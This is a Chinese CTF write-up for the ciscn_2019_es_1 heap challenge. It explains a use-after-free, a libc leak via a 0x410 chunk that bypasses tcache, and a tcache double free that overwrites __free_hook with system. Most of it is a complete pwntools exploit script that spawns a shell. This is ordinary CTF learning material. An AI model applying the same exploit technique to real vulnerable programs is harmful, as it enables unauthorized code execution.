
保护全开
ida打开有这句话,,,,2.29修复了double free的漏洞,,,,
所有大概就是这样
free函数里free没有清除指针,uaf漏洞
然后我的ubuntu不是一个libc,是不支持double free的漏洞的,网上找了几种方式,有patchelf这个glibc-all-in-all这两个网上还是有的,但是有个问题就是调试的时候是看不了symbol信息的,网上的方法没看懂,以后水平够再说,似乎这个也不大重要,我用vmmap调试出来,有点烦罢了,,,
加载指定libc我是用
io = process(['./ciscn_2019_es_1'],env={"LD_PRELOAD":"./libc-2.2764.so"})#文件名 #libc文件
由于有tcache的存在,所以我们泄露libc的时候是申请大空间然后再0x410的大小是可以绕过tcache
然后double free由于tcache跟fast bin attack 很像,所以是类似的方法
from pwn import*context.log_level='debug'io = process(['./ciscn_2019_es_1'],env={"LD_PRELOAD":"./libc-2.2764.so"})elf =ELF('./ciscn_2019_es_1')libc = ELF("./libc-2.2764.so")__malloc_hook_addr = libc.sym['__malloc_hook']__free_hook_addr = libc.sym['__free_hook']def debug():gdb.attach(io)pause()def add(size,name,phone):io.recvuntil('choice:')io.sendline('1')io.recvuntil("Please input the size of compary's name")io.sendline(str(size))io.recvuntil('please input name:')io.sendline(name)io.recvuntil('please input compary call:')io.sendline(phone)def show(index):io.recvuntil('choice:')io.sendline('2')io.recvuntil('Please input the index:')io.sendline(str(index))def free(index):io.recvuntil('choice:')io.sendline('3')io.recvuntil('Please input the index:')io.sendline(str(index))add(0x410,'abcd','123') #0add(30,'abcde','1234')add(20,'/bin/sh\x00','12345')free(0)show(0)offest_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))log.success("offest_addr:"+hex(offest_addr))libcbase=offest_addr-0x3ebca0log.success("libcbase:"+hex(libcbase))free_hook = libcbase+__free_hook_addrsystem_addr = libcbase+libc.sym['system']free(1)free(1)add(30,p64(free_hook),'124')debug()add(30,'ccc','125')add(30,p64(system_addr),'126')free(2)#debug()io.interactive()
终于结束,搞这个调试信息烦死了,,,,
